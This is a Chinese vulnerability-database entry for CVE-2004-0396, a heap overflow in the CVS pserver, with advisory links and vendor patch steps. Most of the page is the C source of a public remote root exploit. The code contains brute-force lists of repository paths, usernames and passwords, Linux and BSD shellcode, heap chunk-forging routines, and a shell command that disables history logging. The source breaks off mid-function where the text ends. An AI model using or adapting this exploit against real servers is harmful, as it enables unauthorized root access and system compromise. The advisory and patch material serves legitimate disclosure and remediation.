CVE-2004-0396
CVSS7.5
发布时间 :2004-06-14 00:00:00
修订时间 :2016-10-17 22:44:58
NMCOEPS    

[原文]Heap-based buffer overflow in CVS 1.11.x up to 1.11.15, and 1.12.x up to 1.12.7, when using the pserver mechanism allows remote attackers to execute arbitrary code via Entry lines.


[CNNVD]CVS多次Entry已被修改或未被修改标记插入操作堆溢出漏洞(CNNVD-200406-041)

        
        Concurrent Versions System (CVS)是一款使用极为广泛的开放源代码的版本控制软件。
        CVS服务器在处理用户提交的给Entry数据打上已被修改或未被修改标记的Is-modified和Unchanged命令时存在问题,远程攻击者可以利用这个漏洞对CVS服务程序进行基于堆的溢出攻击,精心构建提交数据可能以进程权限在系统上执行任意指令。
        当客户端发送一条Entry行给服务器,会额外增加字节来标记Entry是否为已被修改的或未被修改的。CVS服务器在处理标记粘附的操作逻辑上存在问题,导致允许插入任意多个'M'字符到用于存放Entry数据的堆缓冲区中。利用malloc() off-by-one利用技术可以触发缓冲区溢出,可能以CVS进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:cvs:cvs:1.11
cpe:/a:cvs:cvs:1.12

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:970CVS pserver BO
oval:org.mitre.oval:def:9058Heap-based buffer overflow in CVS 1.11.x up to 1.11.15, and 1.12.x up to 1.12.7, when using the pserver mechanism allows remote attackers to...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0396
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0396
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200406-041
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-04:10
ftp://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2004-008.txt.asc
(UNKNOWN)  NETBSD  NetBSD-SA2004-008
http://archives.neohapsis.com/archives/fulldisclosure/2004-05/0980.html
(UNKNOWN)  FULLDISC  20040519 Advisory 07/2004: CVS remote vulnerability
http://cert.uni-stuttgart.de/archive/bugtraq/2004/05/msg00219.html
(UNKNOWN)  BUGTRAQ  20040519 Advisory 07/2004: CVS remote vulnerability
http://lists.grok.org.uk/pipermail/full-disclosure/2004-May/021742.html
(UNKNOWN)  SUSE  SuSE-SA:2004:013
http://marc.info/?l=bugtraq&m=108498454829020&w=2
(UNKNOWN)  BUGTRAQ  20040519 Advisory 07/2004: CVS remote vulnerability
http://marc.info/?l=bugtraq&m=108500040719512&w=2
(UNKNOWN)  BUGTRAQ  20040519 [OpenPKG-SA-2004.022] OpenPKG Security Advisory (cvs)
http://marc.info/?l=bugtraq&m=108636445031613&w=2
(UNKNOWN)  FEDORA  FEDORA-2004-1620
http://marc.info/?l=openbsd-security-announce&m=108508894405639&w=2
(UNKNOWN)  OPENBSD  20040520 cvs server buffer overflow vulnerability
http://security.e-matters.de/advisories/072004.html
(UNKNOWN)  MISC  http://security.e-matters.de/advisories/072004.html
http://security.gentoo.org/glsa/glsa-200405-12.xml
(UNKNOWN)  GENTOO  GLSA-200405-12
http://www.ciac.org/ciac/bulletins/o-147.shtml
(UNKNOWN)  CIAC  O-147
http://www.debian.org/security/2004/dsa-505
(VENDOR_ADVISORY)  DEBIAN  DSA-505
http://www.kb.cert.org/vuls/id/192038
(VENDOR_ADVISORY)  CERT-VN  VU#192038
http://www.mandriva.com/security/advisories?name=MDKSA-2004:048
(UNKNOWN)  MANDRAKE  MDKSA-2004:048
http://www.redhat.com/support/errata/RHSA-2004-190.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2004:190
http://www.securityfocus.com/bid/10384
(UNKNOWN)  BID  10384
http://www.slackware.com/security/viewer.php?l=slackware-security&y=2004&m=slackware-security.395865
(UNKNOWN)  SLACKWARE  SSA:2004-140-01
http://www.us-cert.gov/cas/techalerts/TA04-147A.html
(UNKNOWN)  CERT  TA04-147A
http://xforce.iss.net/xforce/xfdb/16193
(UNKNOWN)  XF  cvs-entry-line-bo(16193)

- 漏洞信息

CVS多次Entry已被修改或未被修改标记插入操作堆溢出漏洞
高危 边界条件错误
2004-06-14 00:00:00 2005-10-20 00:00:00
远程  
        
        Concurrent Versions System (CVS)是一款使用极为广泛的开放源代码的版本控制软件。
        CVS服务器在处理用户提交的给Entry数据打上已被修改或未被修改标记的Is-modified和Unchanged命令时存在问题,远程攻击者可以利用这个漏洞对CVS服务程序进行基于堆的溢出攻击,精心构建提交数据可能以进程权限在系统上执行任意指令。
        当客户端发送一条Entry行给服务器,会额外增加字节来标记Entry是否为已被修改的或未被修改的。CVS服务器在处理标记粘附的操作逻辑上存在问题,导致允许插入任意多个'M'字符到用于存放Entry数据的堆缓冲区中。利用malloc() off-by-one利用技术可以触发缓冲区溢出,可能以CVS进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        CVS
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        CVS Upgrade cvs-1.11.16.tar.gz
        
        http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=489

        CVS Upgrade cvs-1.12.8.tar.gz
        
        http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=491

        Debian
        ------
        Debian已经为此发布了一个安全公告(DSA-505-1)以及相应补丁:
        DSA-505-1:New cvs packages fix remote exploit
        链接:
        http://www.debian.org/security/2002/dsa-505

        补丁下载:
        Source archives:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.dsc

        Size/MD5 checksum: 693 c4580daf3d02e68bf271c3fc2fa9fe8c
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.diff.gz

        Size/MD5 checksum: 52212 a44f53ccf950679f3257a2f3487220b7
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian.orig.tar.gz

        Size/MD5 checksum: 2621658 500965ab9702b31605f8c58aa21a6205
        Alpha architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_alpha.deb

        Size/MD5 checksum: 1178736 503ab302999d5fec9c4cb41f735bc2ab
        ARM architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_arm.deb

        Size/MD5 checksum: 1105276 8b2536e975a3272b5d10590bd768b6c7
        Intel IA-32 architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_i386.deb

        Size/MD5 checksum: 1085994 195aa822dbd450bbb3321f17442b3644
        Intel IA-64 architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_ia64.deb

        Size/MD5 checksum: 1270986 2adee3e24f61234e0c597c55983257df
        HP Precision architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_hppa.deb

        Size/MD5 checksum: 1147338 e1a7eec47c9f6ca11d342c7a680abd93
        Motorola 680x0 architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_m68k.deb

        Size/MD5 checksum: 1065866 5238933fe0b1d9a9e7e2506cc39d8411
        Big endian MIPS architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mips.deb

        Size/MD5 checksum: 1129740 c6e9a932c2bdabbfee51c792d813a439
        Little endian MIPS architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mipsel.deb

        Size/MD5 checksum: 1131106 05424d6056d0c9123c88b7e7f6b27f7d
        PowerPC architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_powerpc.deb

        Size/MD5 checksum: 1116184 1fe49f6356a160087cf669f7afc12700
        IBM S/390 architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_s390.deb

        Size/MD5 checksum: 1097006 6e98ead7e926fc07203cf43e84b1152d
        Sun Sparc architecture:
        
        http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_sparc.deb

        Size/MD5 checksum: 1107284 47f8dad7b309c9c19542bf1fc9502f77
        补丁安装方法:
        1. 手工安装补丁包:
         首先,使用下面的命令来下载补丁软件:
         # wget url (url是补丁下载链接地址)
         然后,使用下面的命令来安装补丁:
         # dpkg -i file.deb (file是相应的补丁名)
        2. 使用apt-get自动安装补丁包:
         首先,使用下面的命令更新内部数据库:
         # apt-get update
        
         然后,使用下面的命令安装更新软件包:
         # apt-get upgrade
        FreeBSD
        -------
        FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-04:10)以及相应补丁:
        FreeBSD-SA-04:10:CVS pserver protocol parser errors
        链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc
        补丁下载:
        执行以下步骤之一:
        1) 将有漏洞的系统升级到4-STABLE,或修订日期后的_5_2,RELENG_4_9或RELENG_4_8
        安全版本。
        2) 为当前系统打补丁:
        已验证下列补丁可应用于FreeBSD 4.7, 4.8, 4.9, 4.10, 5.0, 5.1和5.2系统。
        a) 从以下位置下载相关补丁,并使用PGP工具验证附带的PGP签名。
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch.asc
        b) 以root执行以下命令:
        # cd /usr/src
        # patch < /path/to/patch
        # cd /usr/src/gnu/usr.bin/cvs
        # make obj && make depend && make && make install
        VI. 更新细节
        下面列出了已修正的FreeBSD版本中每个被修改文件的
        MandrakeSoft
        ------------
        
        http://www.debian.org/security/2004/dsa-505

        S.u.S.E.
        --------
        S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2004:013)以及相应补丁:
        SuSE-SA:2004:013:cvs
        链接:
        补丁下载:
        CVS CVS 1.11.1 p1:
        SuSE Upgrade cvs-1.11.1p1-329.i586.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.rpm
        SuSE Upgrade cvs-1.11.1p1-329.i586.patch.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.patch.rpm
        SuSE Upgrade cvs-1.11.1p1-329.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.rpm
        SuSE Upgrade cvs-1.11.1p1-329.i386.patch.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.patch.rpm
        CVS CVS 1.11.5:
        SuSE Upgrade cvs-1.11.5-112.i586.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.rpm
        SuSE Upgrade cvs-1.11.5-112.i586.patch.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.patch.rpm
        CVS Upgrade cvs-1.11.16.tar.gz
        

- 漏洞信息 (300)

CVS Remote Entry Line Heap Overflow Root Exploit (Linux/FreeBSD) (EDBID:300)
multiple remote
2004-06-25 Verified
2401 Ac1dB1tCh3z
N/A [点击下载]
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>

typedef unsigned char   uchar;

void                    progress(void);
int                     brute_cvsroot(void);
int                     brute_username(void);
int                     brute_password(void);
void                    hdl_crashed(int);
void                    bsd_exploitation(void);
void                    try_exploit(void);
void                    zflush(int);
int                     zprintf(char *, ...);
int                     zgetch(void);
void                    start_gzip(void);
void                    fill_holes(void);
char                    * zgets(void);
void                    evil_entry(void);
void                    linux_exploitation(ulong, int);
void                    do_dicotomie(void);
void                    do_xploit(void);
char                    * flush_sock(void);
void                    usage(char *);
long                    getip(char *);
void                    try_oneshoot(void);
int                     connect_to_host(char *, int);
int                     write_sock(void *, int);
int                     read_sock(void *, int);
void                    nopen(char *, int);
char                    * ngets(void);
void                    memcpy_flush(void);
void                    cvs_conn(void);
int                     detect_remote_os(void);
void                    memcpy_remote(ulong, ulong, uchar *, int);
void                    memcpy_addr(ulong, ulong, int);
void                    nclose(void);
char                    * scramble(char *);
int                     sh(int);

struct array
{
    char        * name;
    int         id;
};

struct array CVSROOTS[]=
{
    {   "/cvs"                  ,       -1      },
    {   "/cvsroot"              ,       -1      },
    {   "/var/cvs"              ,       -1      },
    {   "/anoncvs"              ,       -1      },
    {   "/repository"           ,       -1      },
    {   "/home/CVS"             ,       -1      },
    {   "/home/cvspublic"       ,       -1      },
    {   "/home/cvsroot"         ,       -1      },
    {   "/var/lib/cvs"          ,       -1      },
    {   "/var/cvsroot"          ,       -1      },
    {   "/usr/lib/cvs"          ,       -1      },
    {   "/usr/CVSroot"          ,       -1      },
    {   "/usr/share/cvsroot"    ,       -1      },
    {   "/usr/local/cvsroot"    ,       -1      },
    {   "/usr/local/cvs"        ,       -1      },
    {   "/webcvs"               ,       -1      },
    {   NULL                    ,       -1      },
};

struct array USERNAMES[]=
{
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "cvsread"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   "reader"        ,       -1      },
    {   "cvslogin"      ,       -1      },
    {   "anon-cvs"      ,       -1      },
    {   NULL            ,       -1      },
};

struct array PASSWORDS[]=
{
    {   ""              ,       -1      },
    {   " "             ,       -1      },
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   NULL            ,       -1      },
};

#define HIGH_STACK      0xbfffffc0
#define LOWER_STACK     0xbfffd000
#define DEFAULT_ADDR    0xbffffd00
#define RANGE_VALID     0xbffffe00
#define DUMMY_ADDR      0x42424242
#define LINUX_ADDR      0xbfffe200
#define LINUX_SIZE      0x2000
#define HEAPBASE        0x082c512e

#define DEFAULT_TIMEOUT 20
#define TIMEOUT         DEFAULT_TIMEOUT
#define CMD             "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
                        "/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
                        "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
                        "echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT            "\033[32m"
#define NORM            "\033[0m"
#define INFO            ""
#define BAD_TRIP        "WRONG !\n"
#define GOOD_TRIP       VERT"FOUND"NORM" !\n"
#define QUIT(x...)      { printf(x); exit(0); }
#ifdef  DEBUGMSG
#define DEBUG(x...)     fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...)    fprintf(stderr, INFO""fmt)
#define aff(fmt...)     fprintf(stderr, fmt)
static char             tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
                        write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn)  read_sock(sock, buf, cn)
#define NHOLES          (256 - 31)
#define SCNUM           128
#define SCSIZE          32766
#define OFFSET          106
#define ALIGN(x, y)     ((x % y) ? x + (x % y) : x)
#define SET_FD(x)       (x - CHUNK_BK)
#define SET_BK(x)       (x - CHUNK_FD)
#define UNSET_BK(x)     (x + CHUNK_FD)
#define UNSET_FD(x)     (x + CHUNK_BK)
#define MAX_FILL_HEAP   200
#define NUM_OFF7        (sizeof("Entry "))
#define MSIZE           0x4c
#define MALLOC_CHUNKSZ  8
#define AN_ENTRYSZ      8
#define MAGICSZ         ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK       MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF         FAKECHUNK + 16
#define SIZE_VALUE      -8
#define CHUNK_PSIZE     0
#define CHUNK_SIZE      4
#define CHUNK_FD        8
#define CHUNK_BK        12
#define OVERFLOW_NUM    8
#define DEFAULT_SIZE    0x300
#define SHELLCODE_OFF   0x142
#define SHELLCODE_ADDR  (addr - SHELLCODE_OFF)
#define DUMMY2          "timetosleep"
#define DUMMY           "theosuxdick"
#define MAGICSTRING     "abroxyou"
#define ABMAGIC         "-AB-"
#define ABMAGICSZ       sizeof(ABMAGIC) - 1
#define EXPLOITROX      "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT            20
#define CVS_PORT        2401
#define CVS_LOGIN       "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
                        "END AUTH REQUEST\n"
#define CVS_VERIF       "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
                        "END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT   "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH       "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS        "I LOVE YOU"
#define CVS_BAD_REP     "no such repository"
#define CVS_NO_USER     "no such user"
#define CVSENTRY        "Entry "
#define CVS_ISMOD       "Is-modified "
#define CVS_ISMODSZ     sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW      "unrecognized request"
#define CVS_ERROR       "error"
#define CVS_ERROR2      "E "
#define CVS_GZIP        "Gzip-stream "
#define CVS_OK          "ok"
#define BANNER          VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT     "unable to found a valid cvsroot\n"
#define ERR_USERNAME    "unable to found a valid username\n"
#define ERR_PASSWORD    "unable to found a valid password\n"
#define ERR_FAILURE     "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED  "Fatal: authentification failure..\n"
#define ERR_ZPRINTF     "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE     "Inflate error\n"
#define ERR_CONN        "cannot connect\n"
#define ERR_GETIP       "cannot resolve\n"
#define ERR_READSOCK    "cannot read data\n"
#define ERR_WRITESOCK   "cannot write data\n"
#define SUCCESS_LOGON   VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x)     (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
                        || (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
                        (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
                        (x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char                    zbuf[65536 * 4];
int                     zbufpos;
int                     cur_num         = 0;
int                     is_scramble     = 0;
int                     detectos        = 0;
int                     sock            = 0;
int                     port            = CVS_PORT;
ulong                   saddr           = DEFAULT_ADDR;
uint                    size            = DEFAULT_SIZE;
int                     timeout         = DEFAULT_TIMEOUT;
int                     scnum           = SCNUM;
ulong                   heapbase        = HEAPBASE;
int                     isbsd           = 0;
int                     usent           = 0;
int                     zsent           = 0;
char                    *root          = NULL;
char                    *user          = NULL;
char                    *pass          = NULL;
char                    *host          = NULL;
z_stream                zout;
z_stream                zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar                   ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar                   xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";

void                    usage(char * base)
{
    printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
    exit(0);
}

int                     main(int ac, char **av)
{
    int                 c;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    printf(BANNER);
    while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
        {
            switch(c)
                {
                case 'b':
                    isbsd++;
                    break;
                case 'R':
                    detectos++;
                    break;
                case 'r':
                    root = strdup(optarg);
                    break;
                case 'i':
                    is_scramble = 1;
                    break;
                case 's':
                    saddr = strtoul(optarg, 0, 0);
                    break;
                case 't':
                    timeout = strtoul(optarg, 0, 0);
                    break;
                case 'S':
                    size = strtoul(optarg, 0, 0);
                    break;
                case 'u':
                    user = strdup(optarg);
                    break;
                case 'p':
                    pass = strdup(optarg);
                    break;
                case 'h':
                    host = strdup(optarg);
                    break;
                case 'P':
                    port = strtoul(optarg, 0, 0);
                    break;
                case 'o':
                    heapbase = strtoul(optarg, 0, 0);
                    break;
                case 'n':
                    scnum = strtoul(optarg, 0, 0);
                    break;
                default:
                    usage(av[0]);
                }
        }
    if (!host || (detectos && isbsd))
        usage(av[0]);
    if (!root)
        if(!brute_cvsroot())
            QUIT(ERR_CVSROOT);
    if (!user)
        if(!brute_username())
            QUIT(ERR_USERNAME);
    if (!pass)
        if(!brute_password())
            QUIT(ERR_PASSWORD);
    do_xploit();
    return (0);
}

void                    do_xploit(void)
{
    int                 linux_only = 0;

    signal(SIGPIPE, hdl_crashed);
    if (detectos)
        linux_only = detect_remote_os();
    if (isbsd)
        bsd_exploitation();
    else
        {
            linux_exploitation(LINUX_ADDR, LINUX_SIZE);
            if (!linux_only)
                bsd_exploitation();
        }
    printf(ERR_FAILURE);
    return;
}

int                     detect_remote_os(void)
{
    info("Guessing if remote is a cvs on a linux/x86...\t");
    if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
       !range_crashed(0x42424242, 0x42424242 + 4))
        {
            printf(VERT"NO"NORM", assuming it's *BSD\n");
            isbsd = 1;
            return (0);
        }
    printf(VERT"Yes"NORM" !\n");
    return (1);
}

void                    bsd_exploitation(void)
{
    printf("Exploiting %s on a *BSD\t", host);
    do_auth();
    fill_holes();
    evil_entry();
    start_gzip();
    try_exploit();
}

void                    linux_exploitation(ulong addr, int sz)
{
    char                * buf;

    printf("Exploiting %s on a Linux\t", host);
    cvs_conn();
    fflush(stdout);
    memcpy_addr(addr, SHELLCODE_ADDR, sz);
    memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                  sizeof(ab_shellcode) - 1);
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, MAGICSTRING))
        {
            printf(EXPLOITROX);
            sh(sock);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    info(BAD_TRIP);
}

int                     do_auth(void)
{
    char                * your_mind;

    nopen(host, port);
    nprintf(CVS_LOGIN, root, user, scramble(pass));
    your_mind = flush_sock();
    if (!strstr(your_mind, CVS_AUTH_SUCCESS))
        QUIT(ERR_AUTHFAILED);
    free(your_mind);
    nprintf(CVS_SEND_ROOT, root);
}

void                    fill_heap(void)
{
    int                 c;

    for (c = 0; c != MAX_FILL_HEAP; c++)
        nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
                "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
    for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
        nprintf(CVSENTRY"CC/CC/CC\n");
}

void                    cvs_conn(void)
{
    do_auth();
    fill_heap();
}

char                    * get_dummy(void)
{
    static char         buf[2048] = { '\0' };

    memset(buf, '\0', sizeof(buf));
    sprintf(buf, CVSENTRY"B%s/", DUMMY2);
    memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
    strcat(buf, "/\n");
    return (&buf[0]);
}

char                    * build_chunk(ulong addr1, ulong addr2, int i)
{
    char                num[20];
    char                * buf = get_dummy();

    if (i != -1)
        {
            sprintf(num, "%d", i);
            memcpy(buf + NUM_OFF7, num, strlen(num));
        }
    *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
    *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
    *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
    return (buf);
}

void                    memcpy_flush(void)
{
    int                 i = 0, j;
    char                * buf;
    char                num[20];

    if (!cur_num)
        return;
    buf = get_dummy();
    for (i = 0; i != cur_num - 1; i++)
        {
            sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
            sprintf(num, "%d", i);
            memcpy(buf + CVS_ISMODSZ, num, strlen(num));
            for (j = 0; j != OVERFLOW_NUM; j++)
                nprintf(buf);
        }
    return;
}

void                    memcpy_remote(ulong range, ulong addr, uchar * buf,
                                      int sz)
{
    int                 i;

    if (sz <= 0)
        return ;
    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
        {
            range &= 0xFFFFFF00;
            range += buf[i];
            if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
                nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
        }
    return;
}

void                    memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
    int                 aff = (sz / 4) / PCNT, j;

    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    putchar('[');
    for (j = 0; j != PCNT; j++)
        putchar(' ');
    putchar(']');
    for (j = 0; j != PCNT + 1; j++)
        putchar('\b');
    fflush(stdout);
    for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
        {
            if (j == aff)
                {
                    putchar('#');
                    fflush(stdout);
                    j = 0;
                }
            if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
                nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
        }
    printf("#\t");
    fflush(stdout);
    return;
}

int                     range_crashed(int addr, int addr2)
{
    char                * buf;

    cvs_conn();
    nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (; addr < addr2; addr += 8)
        if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
            nprintf(build_chunk(addr, addr + 4, cur_num++));
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
        || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
        {
            nclose();
            return (0);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    return (1);
}

void                    zflush(int finish)
{
    static char         outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;
    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
            QUIT("zflush : deflate failed !\n");
        zsent += sizeof(outbuf) - zout.avail_out;
        write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_out == 0 && zout.avail_in != 0);
    zbufpos = 0;
    return;
}

int                     zprintf(char *fmt, ...)
{
    static char         buf[65536];
    int                 len;
    va_list             ap;

    va_start(ap, fmt);
    len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
    usent += len;
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(0);
    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;
    if (zbufpos >= sizeof(zbuf))
        QUIT(ERR_ZPRINTF);
    return (len);
}

int                     zgetch(void)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
